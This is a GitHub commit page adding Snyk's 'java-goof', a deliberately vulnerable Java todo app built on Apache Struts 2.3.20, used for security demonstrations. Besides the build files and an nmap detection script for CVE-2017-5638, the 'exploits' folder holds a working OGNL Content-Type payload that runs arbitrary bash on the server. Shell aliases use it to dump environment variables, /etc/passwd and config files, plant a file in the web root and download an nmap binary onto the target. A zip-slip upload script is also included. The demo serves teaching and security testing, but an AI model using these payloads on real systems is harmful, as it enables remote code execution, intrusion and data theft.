Skip to content

Commit dadf850

Browse files
committed
initial commit
0 parents  commit dadf850

File tree

110 files changed

+7744
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

110 files changed

+7744
-0
lines changed

.gitignore

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
*.iml
2+
.idea
3+
*/target/**

Dockerfile

+12
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
FROM maven:3-jdk-8-slim
2+
3+
RUN mkdir /usr/src/goof
4+
RUN mkdir /tmp/extracted_files
5+
COPY . /usr/src/goof
6+
WORKDIR /usr/src/goof
7+
8+
RUN mvn install
9+
10+
EXPOSE 8080
11+
ENTRYPOINT ["mvn", "tomcat7:run"]
12+

Procfile

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
web: mvn -f todolist-web-struts tomcat7:run

README.md

+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
## Java Goof
2+
3+
A vulnerable demo application, initially based on [Ben Hassine](https://github.com/benas/)'s [TodoMVC](https://github.com/benas/todolist-mvc).
4+
5+
The goal of this application is to demonstrate through example how to find, exploit and fix vulnerable Maven packages.
6+
7+
This repo is still incomplete, a work in progress to support related presentations.
8+
9+
10+
## Build and run Todolist MVC
11+
12+
(from the original README)
13+
14+
*Note that to run locally, you need JDK 8.*
15+
16+
1. Check out the project source code from github : `git clone https://github.com/snyk/java-goof.git`
17+
2. Open a terminal and run the following command from root directory : `mvn install`
18+
3. Choose a web framework to test and run it. For example : `cd todolist-web-struts && mvn tomcat7:run` (note: this example currently only copied the Struts demo)
19+
4. Browse the following URL : `localhost:8080/`
20+
5. You can register a new account or login using the following credentials : [email protected] / foobar
21+
22+
## Running with docker-compose
23+
```bash
24+
docker-compose up --build
25+
docker-compose down
26+
```
27+
28+
## License
29+
This repo is available released under the [MIT License](http://opensource.org/licenses/mit-license.php/).
30+
# java-goof

docker-compose.yml

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
version: "2"
2+
services:
3+
javagoof:
4+
build: .
5+
container_name: javagoof
6+
environment:
7+
- DOCKER=1
8+
ports:
9+
- "8080:8080"
+77
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
description = [[
2+
Detects whether the specified URL is vulnerable to the Apache Struts
3+
Remote Code Execution Vulnerability (CVE-2017-5638).
4+
]]
5+
6+
local http = require "http"
7+
local shortport = require "shortport"
8+
local vulns = require "vulns"
9+
local stdnse = require "stdnse"
10+
local string = require "string"
11+
12+
---
13+
-- @usage
14+
-- nmap -p <port> --script http-vuln-cve2017-5638 <target>
15+
--
16+
-- @output
17+
-- PORT STATE SERVICE
18+
-- 80/tcp open http
19+
-- | http-vuln-cve2017-5638:
20+
-- | VULNERABLE
21+
-- | Apache Struts Remote Code Execution Vulnerability
22+
-- | State: VULNERABLE
23+
-- | IDs: CVE:CVE-2017-5638
24+
-- |
25+
-- | Disclosure date: 2017-03-07
26+
-- | References:
27+
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
28+
-- | https://cwiki.apache.org/confluence/display/WW/S2-045
29+
-- |_ http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html
30+
--
31+
-- @args http-vuln-cve2017-5638.method The HTTP method for the request. The default method is "GET".
32+
-- @args http-vuln-cve2017-5638.path The URL path to request. The default path is "/".
33+
34+
author = "Seth Jackson"
35+
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
36+
categories = { "vuln" }
37+
38+
portrule = shortport.http
39+
40+
action = function(host, port)
41+
local vuln = {
42+
title = "Apache Struts Remote Code Execution Vulnerability",
43+
state = vulns.STATE.NOT_VULN,
44+
description = [[
45+
Apache Struts 2.3.5 - Struts 2.3.31 and Apache Struts 2.5 - Struts 2.5.10 are vulnerable to a Remote Code Execution
46+
vulnerability via the Content-Type header.
47+
]],
48+
IDS = {
49+
CVE = "CVE-2017-5638"
50+
},
51+
references = {
52+
'https://cwiki.apache.org/confluence/display/WW/S2-045',
53+
'http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html'
54+
},
55+
dates = {
56+
disclosure = { year = '2017', month = '03', day = '07' }
57+
}
58+
}
59+
60+
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
61+
62+
local method = stdnse.get_script_args(SCRIPT_NAME..".method") or "GET"
63+
local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/"
64+
local value = stdnse.generate_random_string(8)
65+
66+
local header = {
67+
["Content-Type"] = string.format("%%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Check-Struts', '%s')}.multipart/form-data", value)
68+
}
69+
70+
local response = http.generic_request(host, port, method, path, { header = header })
71+
72+
if response and response.status == 200 and response.header["x-check-struts"] == value then
73+
vuln.state = vulns.STATE.VULN
74+
end
75+
76+
return vuln_report:make_output(vuln)
77+
end

exploits/loc-stats.txt

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
408 lines of app src code (no deps)
2+
23 dependencies (libraries) in use
3+
690,944 lines of dependency code
4+
691,352 total

exploits/struts-aliases.sh

+35
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
if [ -z "$JAVA_GOOF_HOST" ]; then
2+
export JAVA_GOOF_HOST=java-goof.herokuapp.com
3+
export JAVA_GOOF_URL=https://$JAVA_GOOF_HOST
4+
fi
5+
export JAVA_GOOF_DEBUG=-v
6+
7+
alias struts_base_command="echo \$EXP_MESSAGE'\n\n' &| cat struts-exploit-headers.txt| sed 's/COMMAND/'\$EXP_COMMAND'/' | xargs curl --http1.0 \$JAVA_GOOF_DEBUG $JAVA_GOOF_URL -H"
8+
9+
# Check if struts is there
10+
alias struts0="nmap -p 80 --script http-vuln-struts-detection.nse $JAVA_GOOF_HOST"
11+
12+
# List files (simple)
13+
alias struts1="export EXP_MESSAGE='Getting list of files...'; export EXP_COMMAND='ls -l'; struts_base_command"
14+
15+
# Get env
16+
alias struts2="export EXP_MESSAGE='Getting environment info...'; export EXP_COMMAND='env'; struts_base_command"
17+
18+
# Get passwd
19+
alias struts3="export EXP_MESSAGE='Getting password hash file...'; export EXP_COMMAND='cat \/etc\/passwd'; struts_base_command"
20+
21+
# List files - deep
22+
alias struts4="export EXP_MESSAGE='Getting full list of files...'; export EXP_COMMAND='find .'; struts_base_command"
23+
24+
# Show a sensitive file
25+
alias struts5="export EXP_MESSAGE='Showing sensitive properties file...'; export EXP_COMMAND='cat .\/target\/tomcat.*\/webapps\/expanded\/WEB-INF\/classes\/struts.properties'; struts_base_command"
26+
27+
# Create a file *********(make sure JAVA_GOOF_TOMCAT_PID is set to the right PID)******
28+
alias struts6="export EXP_MESSAGE='Create a file at $JAVA_GOOF_URL/static/js/evil.js...'; export export EXP_COMMAND='echo MUHAHAHAHAHAHAHA > .\/target\/tomcat.'\$JAVA_GOOF_TOMCAT_PID'\/webapps\/expanded\/static\/js\/evil.js'; struts_base_command"
29+
30+
# Getting IP Info
31+
alias struts7="export EXP_MESSAGE='Gathering internal network information...'; export export EXP_COMMAND='ip addr show'; struts_base_command"
32+
33+
# Uploading nmap to do port scanning
34+
alias struts8="export EXP_MESSAGE='Uploading nmap...'; export export EXP_COMMAND='wget https:\/\/github.com\/andrew-d\/static-binaries\/raw\/master\/binaries\/linux\/x86_64\/nmap'; struts_base_command"
35+

exploits/struts-exploit-headers.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
"Content-type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='COMMAND').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

exploits/struts-exploit.sh

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
# Struts exploit using curl and httpie (more colourful HTTP client)
2+
# (runs 'env' or 'cat /etc/passwd', can replace env with any other command (note to escape slashes and double quotes)
3+
cat struts-exploit-headers.txt| sed "s/COMMAND/env/" | xargs curl -v -X GET http://localhost:8080 -H
4+
cat struts-exploit-headers.txt| sed "s/COMMAND/cat \/etc\/passwd/" | xargs http -v http://localhost:8080

exploits/zip-slip.py

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
#! /usr/bin/env python
2+
3+
# to run: `python zip-slip.py http://SERVER-IP:SERVER-PORT`
4+
5+
import requests
6+
import os
7+
import sys
8+
9+
malicious_zip = os.path.join(os.path.dirname(__file__), 'zip-slip.zip')
10+
url = (sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:8080') + '/todo/upload.do.action'
11+
files = {'upload': ('zip-slip.zip', open(malicious_zip, 'rb'), 'application/zip')}
12+
13+
requests.post(url, files=files)

out/production/localhost/SESSIONS.ser

265 Bytes
Binary file not shown.

pom.xml

+83
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
5+
<groupId>io.github.snyk</groupId>
6+
<artifactId>todolist-mvc</artifactId>
7+
<version>1.0-SNAPSHOT</version>
8+
<name>Todolist MVC parent module</name>
9+
<description>A vulnerable demo application, initially based on Ben Hassine's TodoMVC.</description>
10+
<url>https://github.com/snyk/java-goof</url>
11+
12+
<properties>
13+
<spring.version>3.2.6.RELEASE</spring.version>
14+
<hibernate.version>4.3.7.Final</hibernate.version>
15+
<tapestry.version>5.3.8</tapestry.version>
16+
<struts2.version>2.3.20</struts2.version>
17+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
18+
</properties>
19+
20+
<modules>
21+
<module>todolist-core</module>
22+
<module>todolist-web-common</module>
23+
<module>todolist-web-struts</module>
24+
</modules>
25+
<packaging>pom</packaging>
26+
27+
<licenses>
28+
<license>
29+
<name>MIT License</name>
30+
<url>http://opensource.org/licenses/mit-license.php</url>
31+
</license>
32+
</licenses>
33+
34+
<build>
35+
<pluginManagement>
36+
<plugins>
37+
<plugin>
38+
<groupId>org.apache.maven.plugins</groupId>
39+
<artifactId>maven-compiler-plugin</artifactId>
40+
<version>3.2</version>
41+
<configuration>
42+
<verbose>true</verbose>
43+
<source>1.7</source>
44+
<target>1.7</target>
45+
<showWarnings>true</showWarnings>
46+
</configuration>
47+
</plugin>
48+
<plugin>
49+
<groupId>org.apache.maven.plugins</groupId>
50+
<artifactId>maven-dependency-plugin</artifactId>
51+
<version>2.9</version>
52+
<executions>
53+
<execution>
54+
<id>install</id>
55+
<phase>install</phase>
56+
<goals>
57+
<goal>sources</goal>
58+
</goals>
59+
</execution>
60+
</executions>
61+
</plugin>
62+
<plugin>
63+
<groupId>org.apache.maven.plugins</groupId>
64+
<artifactId>maven-war-plugin</artifactId>
65+
<version>2.4</version>
66+
<configuration>
67+
<warName>todolist</warName>
68+
</configuration>
69+
</plugin>
70+
<plugin>
71+
<groupId>org.apache.tomcat.maven</groupId>
72+
<artifactId>tomcat7-maven-plugin</artifactId>
73+
<version>2.2</version>
74+
<configuration>
75+
<warFile>target/todolist.war</warFile>
76+
<path>/</path>
77+
</configuration>
78+
</plugin>
79+
</plugins>
80+
</pluginManagement>
81+
</build>
82+
83+
</project>
99 KB
Loading
160 KB
Loading
65.2 KB
Loading
41.6 KB
Loading

0 commit comments

Comments
 (0)